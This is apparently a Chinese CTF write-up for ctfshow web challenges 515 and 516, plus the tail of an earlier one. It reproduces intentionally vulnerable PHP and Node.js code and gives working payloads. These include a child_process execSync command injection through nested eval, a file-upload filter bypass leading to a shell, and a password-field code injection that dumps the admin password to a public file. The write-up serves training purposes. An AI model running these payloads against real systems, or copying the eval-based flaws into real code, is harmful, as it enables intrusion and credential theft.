extract($_POST); | |
$row=json_decode($row); | |
if(waf($row)){ | |
break; | |
} | |
$sql ="update templates set name='{$row->name}',path='{$row->path}',type='{$row->type}',des='{$row->des}' where id ={$row->id}"; | |
$db = new db(); | |
if($db->update_one($sql)){ | |
$ret['msg']='实时更新成功'; | |
}else{ | |
$ret['msg']='实时更新失败'; | |
} | |
break; | |
case 'getContents': | |
extract($_POST); | |
$template=json_decode($template); | |
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/', $template->path)){ | |
$ret['count']=1; | |
$ret['msg']='查询成功'; | |
$ret['data']=array('contents'=>htmlspecialchars(file_get_contents(__DIR__.'/../templates/'.$template->path))); | |
} | |
break; | |
case 'download': | |
extract($_POST); | |
if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/', $path)){ | |
header("Content-Type: application/octet-stream"); | |
header('Content-Disposition: attachment; filename="' . $path. '"'); | |
echo file_get_contents(__DIR__.'/../templates/'.$path); | |
exit(); | |
} | |
break; | |
case 'upload': | |
extract($_POST); | |
if(!preg_match('/php|phar|ini|settings/i', $name)) | |
{ | |
if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){ | |
$ret['msg']='文件上传失败'; | |
}else{ | |
file_put_contents(__DIR__.'/../templates/'.$name, $content); | |
$ret['msg']='文件上传成功'; | |
} | |
}else{ | |
$ret['msg']='文件上传失败'; | |
} | |
break; | |
default: | |
# code... | |
break; | |
} | |
function waf($row){ | |
$ret = false; | |
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->name)){ | |
$ret=true; | |
} | |
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->type)){ | |
$ret=true; | |
} | |
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->des)){ | |
$ret=true; | |
} | |
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->path)){ | |
$ret=true; | |
} | |
if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->id)){ | |
$ret=true; | |
} | |
return $ret; | |
} | |
die(json_encode($ret)); |
将目光放到这里,这里有一个文件上传功能,只要突破两个 if 就能成功上传文件,这里的 content 可以使用数组绕过,来写一个文件进去,通过上一题的利用思路包含这个文件来获得一个 shell
渲染
# Web515
突然就 js 了,这里还给了一个文件
var express = require('express'); | |
var _= require('lodash'); | |
var router = express.Router(); | |
/* GET users listing. */ | |
router.get('/', function(req, res, next) { | |
res.render('index', { title: '鎴戞槸澶嶈鏈�' }); | |
}); | |
router.post('/',function(req,res,next){ | |
if(req.body.user!=null){ | |
msg = req.body.user; | |
if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){ | |
res.render('index', { title: '鏁忔劅淇℃伅涓嶅璇�' }); | |
}else{ | |
res.render('index', { title: eval(msg) }); | |
} | |
}else{ | |
res.render('index', { title: '鎴戞槸澶嶈鏈�' }); | |
} | |
}); | |
module.exports = router; |
过滤了一些字符
页面也很明显,post 给 index.php {"user":"我是复读机"}, 这里 user 对应的值就是上面代码中的 msg
这里嵌套一下就行
a=require( 'child_process' ).execSync( 'cat /flag' ).toString() | |
POST | |
{"user":"eval(req.query.a)"} |
# Web516
这个题直接给源码是个 nodejs
const router = require('koa-router')() | |
const User = require('../models/User.js') | |
const md5 = require('md5-node') | |
router.get('/', async (ctx, next) => { | |
await ctx.render('index',{msg:'ctfshow'}); | |
await next(); | |
}); | |
router.post('/signin',async(ctx,next)=>{ | |
const username = ctx.request.body.username; | |
const password = ctx.request.body.password; | |
if(username=='admin'){ | |
ctx.body={ | |
code:'403', | |
msg:'you are not admin' | |
}; | |
return; | |
} | |
const user = await User.findAll({ | |
where:{ | |
username:username, | |
password:password | |
} | |
}); | |
if(user[0]!==undefined){ | |
ctx.body={ | |
code:'200', | |
url:'user/'+user[0].id | |
} | |
}else{ | |
ctx.body={ | |
code:'404', | |
msg:'login failed' | |
}; | |
} | |
}); | |
router.post('/signup',async(ctx,next)=>{ | |
const username = ctx.request.body.username; | |
const password = ctx.request.body.password; | |
if(username=='admin'){ | |
ctx.body={ | |
code:'403', | |
msg:'you are not admin' | |
}; | |
return; | |
} | |
const u = await User.create({username:username,password:password}) | |
ctx.body={ | |
code:0, | |
msg:'注册成功' | |
} | |
}); | |
router.get('/user/:id',async(ctx,next)=>{ | |
const id=ctx.params.id; | |
if(id==1){ | |
ctx.body={ | |
code:'403', | |
msg:'非管理员无权查看' | |
}; | |
return; | |
} | |
const user = await User.findAll({ | |
where:{ | |
id:id | |
} | |
}); | |
if(user!==undefined){ | |
ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')'); | |
}else{ | |
ctx.render('/'); | |
} | |
}); | |
module.exports = router |
在查看 userid 的地方可以看到这样一句
ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')'); |
这里代码注入,闭合前后内容,进行一个代码执行,这里因为代码中 you are not admin,肯定是要拿到一个管理员的权限,或者是拿到管理员的账号
这里它是连接数据库的类,构造一个查询,获取管理员的密码
2);const init=async()=>{await User.sequelize.query("select password from Users where username='admin' into outfile '/app/public/1.txt';",{type:User.sequelize.SELECT});};init( |
将其作为密码注册账号,然后访问 user/10
接着访问 1.txt